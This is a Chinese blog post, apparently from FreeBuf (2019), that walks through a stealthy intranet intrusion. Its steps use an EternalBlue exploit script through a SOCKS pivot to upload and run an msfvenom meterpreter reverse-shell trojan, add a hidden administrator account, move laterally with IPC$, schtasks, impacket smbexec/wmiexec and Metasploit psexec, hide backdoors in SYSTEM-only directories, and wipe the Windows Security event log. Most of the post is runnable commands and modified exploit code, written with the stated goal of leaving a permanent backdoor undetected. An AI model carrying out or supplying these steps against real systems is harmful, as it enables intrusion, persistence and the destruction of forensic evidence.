我们今天的故事,从永恒之蓝开始,讲述如何在内网中如何悄无声息的完成一次内网渗透,PTH等章节内容太多,后续跟上……
背景
我们通过跳板成功获得了目标内网的一台机器,发现目标网络拥有健全的防护机制与企业级防护软件,扫描探测和远程登录从暴露的风险角度自然是不被允许的,接下来我们仅借助永恒之蓝完成对内网目标的渗透攻击,只需要跳板机提供的一条socks隧道即可。
首先从轻量级考虑,我们并不会把msf直接接入对方内网,这里推荐下worawit大佬的python版利用工具。
管道探测
我们接下来以一台目标为例,对目标进行poc探测:
python2 checker.py 192.168.154.138
该工具利用基础为管道开放,意味着接下来的exp工作可否顺利开展。
程序执行
接下来对木马做好免杀工作,可以说CS或者其他成熟木马,本处演示方便采用了msf生成的木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.159 lport=4444 -f exe -o rabbit.exe
变更如下exp函数,免杀处理后发送木马到目标指定目录并执行,这里吐槽一句,网上的攻略多复制粘贴,为什么都带着作者的demo?在C盘下生成一个空文本,好好读读代码,真的没必要:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
smb_send_file(smbConn, '/home/rabbit/rabbit.exe', 'C', '/Users/Public/rabbit.exe')
service_exec(conn, r'cmd /c c:\\Users\Public\rabbit.exe')
python zzz_exploit.py 192.168.154.138
脚本语法是需要管道名称的,如不指定则自动选择,如下上传并执行成功。
这里只是个例子,运行的是什么由你决定,自行替换。
账户控制
同样,使用zzz_exploit.py,函数变更如下新增账户:
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user shadow 1q2w3e4r! /add & net localgroup administrators shadow /add')
IPC$连接
IPC$在内网渗透中的地位一直都是经典,我们在来回顾下基于IPC$的一系列远程操作:
#建立ipc$连接
net use \\192.168.15.180\ipc$ "1q2w3e4r!" /user:rabbitmask
#断开全部连接
net use * /del /y
#将目标C盘映射到本地的z盘,渗透测试一定不要做这个
net use z: \\IP\c$`
#把本地文件复制到目标主机的共享目录
copy C:\Users\RabbitMask\Desktop\rabbit.exe \\192.168.15.180\C$
#查看文件是否存在:
dir \\192.168.15.180\C$\rabbit.exe
#远程增加定时任务:
at \\192.168.15.180 21:38:00 C:\rabbit.exe
#取消全部定时任务
at \\192.168.15.180 /delete /y
#查看当前定时任务
at \\192.168.15.180
然而在我们的PC>win7版本时,不再支持at
命令,替代方案为schtasks
:
#创建定时任务
schtasks /create /tn "test" /tr c:\rabbit.exe /sc once /st 10:02 /S 192.168.15.181 /RU System /u rabbitmask /p "1q2w3e4r!"
#查看当前定时任务,如不加/tn test则查看全部
schtasks /Query /tn test /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#删除掉刚刚增加的定时任务
schtasks /Delete /tn test /F /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#参数解释
/create表示创建计划任务
/tn表示任务名
/tr指定运行的文件
/sc是任务运行频率
/st是执行时间
/s指定远程机器名或ip地址
/ru指定运行任务的用户权限,这里指定为最高的SYSTEM
#查看远程目标进程列表:
tasklist /s 192.168.15.180 /u rabbitmask /p 1q2w3e4r!
#杀死pid为1000的进程
taskkill /s 192.168.15.180 /f /pid 1000
#杀死名为rabbit.exe的进程
taskkill /s 192.168.15.180 /f /im rabbit.exe
目录选择
为什么要单独拿出目录选择来说道下呢,我们来看个比较,首先是administrator权限看到的C盘根目录:
然后我们通过木马的提升的system权限看一下:
可以看到其中有几个目录是用户看不到的,包括administrator,只有system拥有访问权限,这里就是后门最佳的隐藏地点。
其中System Volume Information可写作system~1,不用担心空格等问题:
会话获取
既然已经创建完账号密码了,想直接执行命令的话ipc$其实并不太方便,我们直接smb登录目标。
为什么不用RDP?我也问过同样的问题,差点没被内网大佬喷死,有些场合RDP确实风险极大,与君共勉。
这里安利个python的第三方库impacket
项目地址:https://github.com/SecureAuthCorp/impacket
smbexec
其中有个打包好的工具smbexec,这里卖个关子,这里会用到,后边讲PTH也会用到。
python smbexec.py rabbitmask:[email protected]
这里我们已成功通过smb登录目标,且权限为system,因为它的原理是创建服务运行,即`sc`,权限为最高权限system,最后建议退出方式exit,否则可能有未知错误,尝试指定下共享路径。
python smbexec.py rabbitmask:[email protected] -share admin$
这里插一句,共享路径是指的即逻辑共享(C$,D$,E$……
)和系统目录(ADMIN$
)共享,可通过net share
了解:
wmiexec
这是后来smbexec出现编码bug,大佬推荐的另一款工具,同属impacket包,他的使用需要调用wmi服务,占用目标的445、135和另一个随机端口,而smbexec只使用445端口,这一块协议/服务底层问题感兴趣的可以继续深入研究。
python wmiexec.py rabbitmask:[email protected]
msf_psexec
上述脚本在应对某些目标机是可能存在命令编码问题,这可能是python环境导致的,所有依然提供个保底方案,msf。
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass 1q2w3e4r!
不过它默认会植入meterpreter进行反弹shell!关键它没默认做免杀,意味着会触发杀软,所以我们搁到最后保底,真要用的话处理下payload,太自动化有时未必是件好事,与其相信谣言,不如自己思考下为什么在这里笔者如此不推荐笔者所钟爱的msf。
日志清理
适用范围>=win7,我们的操作主要存在于安全日志,无脑全清的话如下即可,当然,单条删除日志不嫌麻烦的话亦可,奇安信的A-team好像还有一款日志进程kill工具(渗透结束再拉起),但测试不太稳定,大家自行抉择。
wevtutil gl security查看SECURITY日志的详细信息
wevtutil cl security清空SECURITY日志
同理可操作其他日志:APPLICATION、SETUP、SYSTEM、FORWARDEDEVENTS。
就这样,我们悄无声息的在目标机逛了一圈安全撤离,并留下了永久后门,篇幅限制,PTH、PTT、域渗透等内容不做展开,敬请期待。
*本文原创作者:rabbitmask,本文属于FreeBuf原创奖励计划,未经许可禁止转载
来源:freebuf.com 2019-11-22 12:30:21 by: rabbitmask
请登录后发表评论
注册